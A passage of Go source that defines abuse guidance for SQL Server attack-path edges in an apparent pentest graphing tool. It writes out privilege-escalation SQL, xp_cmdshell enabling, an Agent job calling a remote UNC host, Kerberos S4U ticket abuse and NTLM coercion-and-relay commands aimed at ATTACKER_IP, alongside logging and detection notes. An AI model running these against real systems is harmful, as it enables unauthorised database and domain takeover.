the database \n" + + " GRANT CONTROL TO [EvilRole]; \n" + + " -- With CONTROL, we can impersonate dbo \n" + + " EXECUTE AS USER = 'dbo'; \n" + + " SELECT USER_NAME(); \n" + + " -- Now we can add ourselves to db_owner \n" + + " EXEC sp_addrolemember 'db_owner', 'db_secadmin'; \n" + + " -- Or perform any other action in the database \n" + + " REVERT ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as a member of db_securityadmin (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statements:\n" + + "USE " + ctx.TargetName + "; \n" + + " -- Create a role \n" + + " CREATE ROLE [EvilRole]; \n" + + " -- Add self \n" + + " EXEC sp_addrolemember 'EvilRole', 'db_secadmin'; \n" + + " -- Grant the role CONTROL of the database \n" + + " GRANT CONTROL TO [EvilRole]; \n" + + " -- With CONTROL, we can impersonate dbo \n" + + " EXECUTE AS USER = 'dbo'; \n" + + " SELECT USER_NAME(); \n" + + " -- Now we can add ourselves to db_owner \n" + + " EXEC sp_addrolemember 'db_owner', 'db_secadmin'; \n" + + " -- Or perform any other action in the database \n" + + " REVERT ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. \n" + + "Database role membership changes are logged by default. \n" + + "To view database role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + CASE WHEN EventClass = 110 THEN ' added ' WHEN EventClass = 111 THEN ' removed ' END + TargetUserName + CASE WHEN EventClass = 110 THEN ' to ' WHEN EventClass = 111 THEN ' from ' END + ObjectName + ' in database ' + DatabaseName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass IN (110, 111) ORDER BY StartTime DESC; ", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-ver17#fixed-database-roles \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addrolemember-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/create-role-transact-sql?view=sql-server-ver17", + } + }, + + EdgeKinds.Connect: func(ctx *EdgeContext) EdgeProperties { + var general, windowsAbuse, linuxAbuse string + if ctx.TargetTypeDescription == "SERVER" { + general = "The CONNECT SQL permission allows the source " + ctx.SourceType + " to connect to the " + ctx.SQLServerName + " SQL Server if the login is not disabled or currently locked out. This permission is granted to every login created on the server by default." + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and authenticate with valid credentials for a server login" + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and authenticate with valid credentials for a server login" + } else if ctx.TargetTypeDescription == "DATABASE" { + general = "The CONNECT permission allows the source " + ctx.SourceType + " to connect to the " + ctx.TargetName + " database. This permission is granted to every database user created in the database by default." + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and authenticate with valid credentials for a server login, then connect to the " + ctx.TargetName + " database by executing USE " + ctx.TargetName + "; GO; " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and authenticate with valid credentials for a server login, then connect to the " + ctx.TargetName + " database by executing USE " + ctx.TargetName + "; GO; " + } + return EdgeProperties{ + Traversable: false, + General: general, + WindowsAbuse: windowsAbuse, + LinuxAbuse: linuxAbuse, + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for failed login attempts and can be viewed by executing EXEC sp_readerrorlog 0, 1, 'Login';), but successful login events are not logged by default. ", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/policy-based-management/server-public-permissions?view=sql-server-ver16 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16", + } + }, + + EdgeKinds.ConnectAnyDatabase: func(ctx *EdgeContext) EdgeProperties { + var general, windowsAbuse, linuxAbuse string + if ctx.TargetTypeDescription == "SERVER" { + general = "The CONNECT ANY DATABASE permission allows the source " + ctx.SourceType + " to connect to any database under the " + ctx.SQLServerName + " SQL Server without a mapped database user." + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and authenticate with valid credentials for a server login, then connect to any database by executing USE ; GO; " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and authenticate with valid credentials for a server login, then connect to any database by executing USE ; GO; " + } else if ctx.TargetTypeDescription == "DATABASE" { + general = "The CONNECT ANY DATABASE permission allows the source " + ctx.SourceType + " to connect to the " + ctx.TargetName + " database without a mapped database user." + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and authenticate with valid credentials for a server login, then connect to the " + ctx.TargetName + " database by executing USE " + ctx.TargetName + "; GO; " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and authenticate with valid credentials for a server login, then connect to the " + ctx.TargetName + " database by executing USE " + ctx.TargetName + "; GO; " + } + return EdgeProperties{ + Traversable: false, + General: general, + WindowsAbuse: windowsAbuse, + LinuxAbuse: linuxAbuse, + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for failed login attempts and can be viewed by executing EXEC sp_readerrorlog 0, 1, 'Login';), but successful login events are not logged by default. ", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/policy-based-management/server-public-permissions?view=sql-server-ver16 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16", + } + }, + + EdgeKinds.AlterAnyAppRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage. The ALTER ANY APPLICATION ROLE permission on a database allows the source " + ctx.SourceType + " to change the password for an application role, activate the application role with the new password, and execute actions with the application role's permissions.", + WindowsAbuse: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.", + LinuxAbuse: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.", + Opsec: "This attack should not be performed as it will cause an immediate outage for the application using this role.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/application-roles?view=sql-server-ver17", + } + }, + + EdgeKinds.AlterAnyDBRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The ALTER ANY ROLE permission on a database allows the source " + ctx.SourceType + " to add members to any user-defined database role. Note that only members of the db_owner fixed database role can add members to fixed database roles.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + ";\n" + + "EXEC sp_addrolemember 'role_name', 'user_name';", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + ";\n" + + "EXEC sp_addrolemember 'role_name', 'user_name';", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to database role membership. \n" + + "To view database role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + CASE WHEN EventClass = 110 THEN ' added ' WHEN EventClass = 111 THEN ' removed ' END + TargetUserName + CASE WHEN EventClass = 110 THEN ' to ' WHEN EventClass = 111 THEN ' from ' END + ObjectName + ' in database ' + DatabaseName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass IN (110, 111) ORDER BY StartTime DESC; ", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addrolemember-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16", + } + }, + + EdgeKinds.HasDBScopedCred: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The database contains a database-scoped credential that authenticates as the target domain account when accessing external resources, although there is no guarantee the credentials are currently valid. Unlike server-level credentials, these are contained within the database and portable with database backups.", + WindowsAbuse: "The credential could be crackable if it has a weak password and is used automatically when accessing external data sources from this database. Specific abuse for database-scoped credentials required further research.", + LinuxAbuse: "The credential is used automatically when accessing external data sources from this database. Specific abuse for database-scoped credentials required further research.", + Opsec: "Database-scoped credential usage is logged when accessing external resources. These credentials are included in database backups, making them portable. The credential secret is encrypted and cannot be retrieved directly.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/create-database-scoped-credential-transact-sql?view=sql-server-ver17 \n" + + "- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/", + } + }, + + EdgeKinds.HasMappedCred: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "This SQL login has a mapped credential that allows it to authenticate as the target domain account when accessing external resources outside of SQL Server, including over the network and at the host OS level. However, there is no guarantee the credentials are currently valid. SQL Server Agent must be running (could potentially be started via xp_cmdshell if service account has permission) and the login must have permission to add a credential proxy, grant the proxy access to a subsystem such as CmdExec or PowerShell, and add/start a job using the proxy to traverse this edge.", + WindowsAbuse: "The credential could be crackable if it has a weak password and is used automatically when the login accesses certain external resources", + LinuxAbuse: " -- SQL Server Agent must be running/started (or access box via xp_cmdshell first, then start, which requires admin)\n" + + "\n" + + "-- Server will validate creds before executing the job\n" + + "CREATE CREDENTIAL MyCredential1\n" + + "WITH IDENTITY = 'MAYYHEM\\lowpriv',\n" + + "SECRET = 'password';\n" + + "\n" + + "EXEC msdb.dbo.sp_add_proxy \n" + + " @proxy_name = 'ETL_Proxy',\n" + + " @credential_name = 'MyCredential1',\n" + + " @enabled = 1;\n" + + "\n" + + "-- 3. Grant proxy access to subsystems (CmdExec for OS commands)\n" + + "EXEC msdb.dbo.sp_grant_proxy_to_subsystem \n" + + " @proxy_name = 'ETL_Proxy',\n" + + " @subsystem_name = 'CmdExec';\n" + + "\n" + + "-- 4. CREATE THE JOB FIRST\n" + + "EXEC msdb.dbo.sp_add_job \n" + + " @job_name = N'MyJob',\n" + + " @enabled = 1,\n" + + " @description = N'Test job using proxy';\n" + + "\n" + + "-- 5. Now add the job step that uses the proxy\n" + + "EXEC msdb.dbo.sp_add_jobstep\n" + + " @job_name = N'MyJob',\n" + + " @step_name = N'Run Command as Proxy User',\n" + + " @step_id = 1,\n" + + " @subsystem = N'CmdExec',\n" + + " @command = N'cmd /c \"\\\\10.4.10.254\\\\c\"',\n" + + " @proxy_name = N'ETL_Proxy';\n" + + "\n" + + "-- Re-run\n" + + "EXEC msdb.dbo.sp_start_job @job_name = N'MyJob';\n" + + "\n" + + "-- 6. Add job to local server\n" + + "EXEC msdb.dbo.sp_add_jobserver \n" + + " @job_name = N'MyJob',\n" + + " @server_name = N'(local)';\n" + + "\n" + + "-- 7. Execute the job immediately to test\n" + + "EXEC msdb.dbo.sp_start_job @job_name = N'MyJob'; ", + Opsec: "Credential usage is logged when accessing external resources. The actual credential password is encrypted and cannot be retrieved. Credential mapping changes are not logged in the default trace.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/create-credential-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/credentials-database-engine?view=sql-server-ver17 \n" + + "- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/", + } + }, + + EdgeKinds.HasProxyCred: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The SQL principal is authorized to use SQL Agent proxy '" + ctx.ProxyName + "' that runs job steps as " + ctx.CredentialIdentity + ". This proxy can be used with subsystems: " + ctx.Subsystems + ". There is no guarantee the credentials are currently valid.", + WindowsAbuse: "Create and execute a SQL Agent job using the proxy:\n" + + "-- Create job \n" + + "EXEC msdb.dbo.sp_add_job @job_name = 'ProxyTest_" + ctx.ProxyName + "'; \n" + + "-- Add job step using proxy \n" + + "EXEC msdb.dbo.sp_add_jobstep \n" + + " @job_name = 'ProxyTest_" + ctx.ProxyName + "', \n" + + " @step_name = 'RunAsProxy', \n" + + " @subsystem = 'CmdExec', \n" + + " @command = 'whoami > C:\\temp\\proxy_user.txt', \n" + + " @proxy_name = '" + ctx.ProxyName + "'; \n" + + "-- Execute job \n" + + "EXEC msdb.dbo.sp_start_job @job_name = 'ProxyTest_" + ctx.ProxyName + "'; \n" + + "-- Check job status \n" + + "EXEC msdb.dbo.sp_help_jobactivity @job_name = 'ProxyTest_" + ctx.ProxyName + "'; ", + LinuxAbuse: "Create and execute a SQL Agent job using the proxy:\n" + + "-- Create job \n" + + "EXEC msdb.dbo.sp_add_job @job_name = 'ProxyTest_" + ctx.ProxyName + "'; \n" + + "-- Add job step using proxy \n" + + "EXEC msdb.dbo.sp_add_jobstep \n" + + " @job_name = 'ProxyTest_" + ctx.ProxyName + "', \n" + + " @step_name = 'RunAsProxy', \n" + + " @subsystem = 'CmdExec', \n" + + " @command = 'whoami > /tmp/proxy_user.txt', \n" + + " @proxy_name = '" + ctx.ProxyName + "'; \n" + + "-- Execute job \n" + + "EXEC msdb.dbo.sp_start_job @job_name = 'ProxyTest_" + ctx.ProxyName + "'; ", + Opsec: "SQL Agent job execution is logged in msdb job history tables and Windows Application event log. The job runs as " + ctx.CredentialIdentity + ". Proxy is " + func() string { + if ctx.IsEnabled { + return "ENABLED" + } + return "DISABLED - must be enabled before use" + }() + ".", + References: "- https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/ssms/agent/use-proxies-to-run-jobs?view=sql-server-ver17 \n" + + "- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/", + } + }, + + EdgeKinds.ServiceAccountFor: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true + General: "This domain account runs the SQL Server service.", + WindowsAbuse: "The service account context determines SQL Server's access to network resources and local system privileges.", + LinuxAbuse: "The service account context determines SQL Server's access to system resources and file permissions.", + Opsec: "Service account changes require service restart and are logged in Windows event logs.", + References: "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions?view=sql-server-ver17", + } + }, + + EdgeKinds.HasLogin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The domain account has a SQL Server login that is enabled and can connect to the SQL Server. This allows authentication to SQL Server using the account's credentials.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server and authenticate as " + ctx.TargetName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py)", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server and authenticate as " + ctx.TargetName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio)", + Opsec: "Windows authentication attempts are logged in SQL Server error logs for failed logins. Successful logins are not logged by default but can be enabled. Computer account authentication appears as DOMAIN\\COMPUTER$.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/server-properties-security-page?view=sql-server-ver17", + } + }, + + EdgeKinds.GetTGS: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The SQL Server service account can request Kerberos service tickets for domain accounts that have a login on this SQL Server.", + WindowsAbuse: "From a domain-joined machine as the service account (or with valid credentials):\n" + + "# List SPNs for the SQL Server to find target accounts: \n" + + "setspn -L " + ctx.SQLServerName + " \n" + + "# Request TGT for the service account: \n" + + ".\\Rubeus.exe asktgt /domain: /user: /password: /nowrap \n" + + "# Get a TGS for the MSSQLSvc SPN using S4U2self, impersonating the domain account: \n" + + "Rubeus.exe s4u /impersonateuser: /altservice: /self /nowrap /ticket: \n" + + "# Start a sacrificial logon session for the Kerberos ticket: \n" + + "runas /netonly /user:asdf powershell \n" + + "# Import the ticket into the sacrificial logon session: \n" + + "Rubeus.exe ptt /ticket: \n" + + "# Launch SQL Server Management Studio or sqlcmd and connect to the database. ", + LinuxAbuse: "From a Linux machine with valid credentials:\n" + + "# Request TGT for the service account: \n" + + "getTGT.py internal.lab/sqlsvc:P@ssw0rd \n" + + "# Get a TGS for the MSSQLSvc SPN using S4U2self, impersonating the domain account: \n" + + "python3 gets4uticket.py kerberos+ccache://internal.lab\\\\sqlsvc:sqlsvc.ccache@dc01.internal.lab MSSQLSvc/sql.internal.lab:1433@internal.lab sccm\\$@internal.lab sccm_s4u.ccache -v \n" + + "# Connect to the database: \n" + + "KRB5CCNAME=sccm_s4u.ccache mssqlclient.py internal.lab/sccm\\$@sql.internal.lab -k -no-pass -windows-auth ", + Opsec: "Kerberos ticket requests are normal behavior and rarely logged. High volume of TGS requests might be detected by advanced threat hunting. Event ID 4769 (Kerberos Service Ticket Request) is logged on domain controllers but typically not monitored for SQL service accounts.", + References: "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/register-a-service-principal-name-for-kerberos-connections?view=sql-server-ver17 ", + } + }, + + EdgeKinds.GetAdminTGS: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The SQL Server service account can request Kerberos service tickets for domain accounts that have administrative privileges on this SQL Server.", + WindowsAbuse: "From a domain-joined machine as the service account (or with valid credentials):\n" + + "# List SPNs for the SQL Server to find target accounts: \n" + + "setspn -L " + ctx.SQLServerName + " \n" + + "# Request TGT for the service account: \n" + + ".\\Rubeus.exe asktgt /domain: /user: /password: /nowrap \n" + + "# Get a TGS for the MSSQLSvc SPN using S4U2self, impersonating the domain DBA: \n" + + "Rubeus.exe s4u /impersonateuser: /altservice: /self /nowrap /ticket: \n" + + "# Start a sacrificial logon session for the Kerberos ticket: \n" + + "runas /netonly /user:asdf powershell \n" + + "# Import the ticket into the sacrificial logon session: \n" + + "Rubeus.exe ptt /ticket: \n" + + "# Launch SQL Server Management Studio or sqlcmd and connect to the database. ", + LinuxAbuse: "From a Linux machine with valid credentials:\n" + + "# Request TGT for the service account: \n" + + "getTGT.py internal.lab/sqlsvc:P@ssw0rd \n" + + "# Get a TGS for the MSSQLSvc SPN using S4U2self, impersonating the domain DBA: \n" + + "python3 gets4uticket.py kerberos+ccache://internal.lab\\\\sqlsvc:sqlsvc.ccache@dc01.internal.lab MSSQLSvc/sql.internal.lab:1433@internal.lab sccm\\$@internal.lab sccm_s4u.ccache -v \n" + + "# Connect to the database: \n" + + "KRB5CCNAME=sccm_s4u.ccache mssqlclient.py internal.lab/sccm\\$@sql.internal.lab -k -no-pass -windows-auth ", + Opsec: "Kerberos ticket requests are normal behavior and rarely logged. High volume of TGS requests might be detected by advanced threat hunting. Event ID 4769 (Kerberos Service Ticket Request) is logged on domain controllers but typically not monitored for SQL service accounts.", + References: "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/register-a-service-principal-name-for-kerberos-connections?view=sql-server-ver17 ", + } + }, + + EdgeKinds.LinkedAsAdmin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The source SQL Server has a linked server connection to the target with administrative privileges (sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN). This allows full control of the remote SQL Server including privilege escalation.", + WindowsAbuse: "Execute commands with admin privileges on the linked server:\n" + + "-- Enable xp_cmdshell on remote server \n" + + "EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LinkedServerName]; \n" + + "EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LinkedServerName]; \n" + + "EXEC ('EXEC xp_cmdshell ''whoami'';') AT [LinkedServerName]; ", + LinuxAbuse: "Execute commands with admin privileges on the linked server:\n" + + "-- Enable xp_cmdshell on remote server \n" + + "EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LinkedServerName]; \n" + + "EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LinkedServerName]; \n" + + "EXEC ('EXEC xp_cmdshell ''whoami'';') AT [LinkedServerName]; ", + Opsec: "Linked server admin actions are logged on the remote server as coming from the linked server connection. Creating logins and adding to sysadmin generates event logs. Linked server queries may be logged differently than direct connections.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine?view=sql-server-ver17 \n" + + "- https://www.netspi.com/blog/technical-blog/network-penetration-testing/how-to-hack-database-links-in-sql-server/", + } + }, + + EdgeKinds.CoerceAndRelayTo: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The computer account has a SQL Server login and the SQL Server has Extended Protection disabled. This allows coercing the computer account authentication and relaying it to SQL Server to gain access.", + WindowsAbuse: "Coerce and relay authentication to SQL Server:\n" + + "# 1. Set up NTLM relay targeting SQL Server \n" + + "ntlmrelayx.py -t mssql://" + ctx.SQLServerName + " -smb2support \n" + + "# 2. Trigger authentication from target computer using: \n" + + "# - PrinterBug/SpoolSample \n" + + "SpoolSample.exe TARGET_COMPUTER ATTACKER_IP \n" + + "# - PetitPotam \n" + + "PetitPotam.py -u '' -p '' ATTACKER_IP TARGET_COMPUTER \n" + + "# - Coercer with various methods \n" + + "coercer.py coerce -u '' -p '' -t TARGET_COMPUTER -l ATTACKER_IP \n" + + "# 3. Relay executes SQL commands as DOMAIN\\COMPUTER$ ", + LinuxAbuse: "Coerce and relay authentication to SQL Server:\n" + + "# 1. Set up NTLM relay targeting SQL Server \n" + + "ntlmrelayx.py -t mssql://" + ctx.SQLServerName + " -smb2support \n" + + "# 2. Trigger authentication using various methods: \n" + + "# - PetitPotam (unauthenticated) \n" + + "python3 PetitPotam.py ATTACKER_IP TARGET_COMPUTER \n" + + "# - Coercer with multiple protocols \n" + + "coercer.py coerce -u '' -p '' -t TARGET_COMPUTER -l ATTACKER_IP --filter-protocol-name \n" + + "# - PrinterBug via Wine \n" + + "wine SpoolSample.exe TARGET_COMPUTER ATTACKER_IP \n" + + "# 3. ntlmrelayx will authenticate to SQL and execute commands ", + Opsec: "Coercion methods may generate logs on the target system (Event ID 4624/4625). SQL Server logs will show authentication from the computer account. NTLM authentication to SQL Server is normal behavior. Extended Protection prevents this attack when enabled.", + References: "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/connect-to-the-database-engine-using-extended-protection?view=sql-server-ver17 \n" + + "- https://github.com/topotam/PetitPotam \n" + + "- https://github.com/p0dalirius/Coercer \n" + + "- https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py", + } + }, + + // Database-level permission edges + EdgeKinds.AlterDB: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The ALTER permission on a database grants the source " + ctx.SourceType + " effective permissions ALTER ANY ROLE and ALTER ANY APPLICATION ROLE. ALTER ANY ROLE permission allows the principal to add members to any user-defined database role. Note that only members of the db_owner fixed database role can add members to fixed server roles. The ALTER ANY APPLICATION ROLE permission on a database allows the source " + ctx.SourceType + " to change the password for an application role, activate the application role with the new password, and execute actions with the application role's permissions. WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "Alter database role: EXEC sp_addrolemember 'rolename', 'user' \n" + + "Alter application role: WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "Alter database role: EXEC sp_addrolemember 'rolename', 'user' \n" + + "Alter application role: WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to database role membership. \n" + + "To view database role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + CASE WHEN EventClass = 110 THEN ' added ' WHEN EventClass = 111 THEN ' removed ' END + TargetUserName + CASE WHEN EventClass = 110 THEN ' to ' WHEN EventClass = 111 THEN ' from ' END + ObjectName + ' in database ' + DatabaseName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass IN (110, 111) ORDER BY StartTime DESC; ", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16", + } + }, + + EdgeKinds.AlterDBRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The ALTER permission on a database role allows the source " + ctx.SourceType + " to add members to the database role. Only members of the db_owner fixed database role can add members to fixed database roles.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + ";\n" + + "EXEC sp_addrolemember '" + ctx.TargetName + "', 'user_name';", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + ";\n" + + "EXEC sp_addrolemember '" + ctx.TargetName + "', 'user_name';", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to database role membership. \n" + + "To view database role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + CASE WHEN EventClass = 110 THEN ' added ' WHEN EventClass = 111 THEN ' removed ' END + TargetUserName + CASE WHEN EventClass = 110 THEN ' to ' WHEN EventClass = 111 THEN ' from ' END + ObjectName + ' in database ' + DatabaseName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass IN (110, 111) ORDER BY StartTime DESC; ", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addrolemember-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16", + } + }, + + EdgeKinds.AlterServerRole: 